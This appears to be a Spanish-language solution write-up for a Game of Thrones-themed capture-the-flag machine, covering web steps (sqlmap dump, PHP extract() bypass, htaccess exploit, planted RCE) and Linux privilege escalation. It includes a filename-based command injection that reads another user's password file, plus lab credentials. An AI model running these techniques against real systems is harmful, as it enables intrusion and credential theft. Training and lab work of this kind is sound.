********CTF WEB**********

#1 Index y presentacion

en robots.txt hay :

User-agent: *

Disallow: /pagomisd3udas

#2 http://192.168.1.129/pagomisd3udas/

en la imagen de background he metido una string

“/z4qe3qrqe4t0a3f” , esta encriptada con rot13

al desencriptar da :

echo "/z4qe3qrqe4t0a3f" |./rot13

/m4dr3dedr4g0n3s

#3 http://192.168.1.129/m4dr3dedr4g0n3s/

sqlmap -u "http://192.168.1.134/ctf/m4dr3dedr4g0n3s/index.php?id=" --dbs -D security --tables -T users --dump

http://192.168.1.134/ctf/m4dr3dedr4g0n3s/index.php?id=3

/th3kingofthen0rth

#4 http://192.168.1.129/th3kingofthen0rth/

- La primera linea carga el archivo, que contiene la pass
- En la siguiente linea, extract toma las variables solicitadas ($_GET) y al mismo tiempo, sobreescribe los valores actuales, aprovechamos esto, alterando la variable $filename
- Después de verificar si la variable '$ intento' se ha establecido (lo que el atacante puede hacer debido al uso del extracto), intenta leer un archivo que tiene el nombre establecido en el valor de '$ nombre de archivo'. Sin embargo, si el atacante ha alterado el valor de un archivo que no existe (por ejemplo, 'en blanco' - sin archivo), la función fallará con un valor de 'falso'.
- Este valor se compara con el valor de '$ intento'. Si coincide, se mostrará la clave.
- El atacante ya ha tenido que definir el '$ intento', pero si no le asigna un valor (por ejemplo, 'en blanco'), coincidirá con el resultado de retorno (falso) de la solicitud fallida de un archivo ($ nombre de archivo) , mostrando así la clave.

http://192.168.1.134/ctf/th3kingofthen0rth/index.php?try=&filename /seacercaelinviern0

#5 http://192.168.1.129/seacercaelinviern0/
este directorio esta protegido por un .htaccess y un .htpasswd vulnerable.

1. exploit publicado en la blackhat

https://media.blackhat.com/bh-us-12/Turbo/Soler/HTExploit_v0.7b.zip
haces : ./htexploit -u http://192.168.1.129/seacercaelinviern0/

y se baja el index. ya se puede explotar desde ahi o coger la pass que la he puesto comentada en el codigo del index, en base64.

2) Fuerza bruta.

El pass está en el rockyou y el user es : nightking que se puede dar como pista o algo.

Al ser este el ultimo directorio, he metido un bug en php que te da un RCE directo y a partir de ahi enviarte la shell y ya empezar con el linux.
http://192.168.1.129/seacercaelinviern0/index.php?sword=id

Password

http://192.168.1.129/seacercaelinviern0/
user : nightking
pass : kingofnight

**********CTF LINUX**********
Usuarios :
jon:x:1001:1001:Jon Snow,Stark,,:/home/jon:/bin/bash
tyrion:x:1002:1002:Tyrion Lannister,Lannister,,:/home/tyrion:/bin/bash
daenerys:x:1003:1003:Daenerys Targaryen,Targaryen,,:/home/daenerys:/bin/bash
nightking:x:1004:1004:Night King,North,,:/home/nightking:/bin/bash

#1 entras con www-data y buscas archivos con setuid, ves uno que tiene permisos de tyrion y de www-data y lo ejecutas y ya puedes leer en el /home/tyrion que habrá otra prueba.

tyrion@thr0nesctf:~ $ for i in {0000..9999};do ./vinotinto $i;done

#2

daenerys@thr0nesctf:~ $ cd ".. "/
daenerys@thr0nesctf:~/.. $ ./llave printf
#3
jon@thr0nesctf:~ $ ln -s /home/nightking/.passwd /tmp/test
jon@thr0nesctf:~ $ ./pocima /tmp/test
HmMmm parece que no…

Esta vez no es tan sencillo, así que tendremos que pensar.. y recordando un articulo de 7a69 en el que solucionaban un wargame de hackerslab, habia una prueba en la que Ripe se saltaba un programa que usaba system() añadiendo un ";" , esta vez eso no va a funcionar, pero hablando con sha0 me dijo que system() es toda una shell y que puede saltarse añadiendo un byte nulo al final, y asi podriamos inyectar cualquier comando. probaremos lo siguiente:

jon@thr0nesctf:~ $ rm -rf /tmp/test
jon@thr0nesctf:~ $ touch /tmp/test\|id
jon@thr0nesctf:~ $ ./pocima /tmp/test\|id
/bin/cat: /tmp/test: No existe el fichero o el directorio
┌──┐
│uid=1001(jon) gid=1001(jon) euid=1004(nightking) grupos=1001(jon)│
└──┘
jon@thr0nesctf:~ $ ln -s /home/nightking/.passwd /tmp/jeje
jon@thr0nesctf:~ $ rm -rf /tmp/test
jon@thr0nesctf:~ $ touch /tmp/test\|cat\ jeje
jon@thr0nesctf:~ $ cd /tmp/
jon@thr0nesctf:/tmp $ /home/jon/pocima test\|cat\ jeje
/bin/cat: test: No existe el fichero o el directorio
┌──────────┐
│habl4poc0│
└──────────┘
jon@thr0nesctf:/tmp $

#4

nightking@thr0nesctf:~ $ sudo -l
nightking@thr0nesctf:~ $ sudo /bin/cat /root/finalflag.txt

Users & Passwords :

tyrion/enan0consuert3
daenerys/n0sek3ma
jon/loboHuarg0
nightking/habl4poc0

FLAGS EGG

$ cat favicon.ico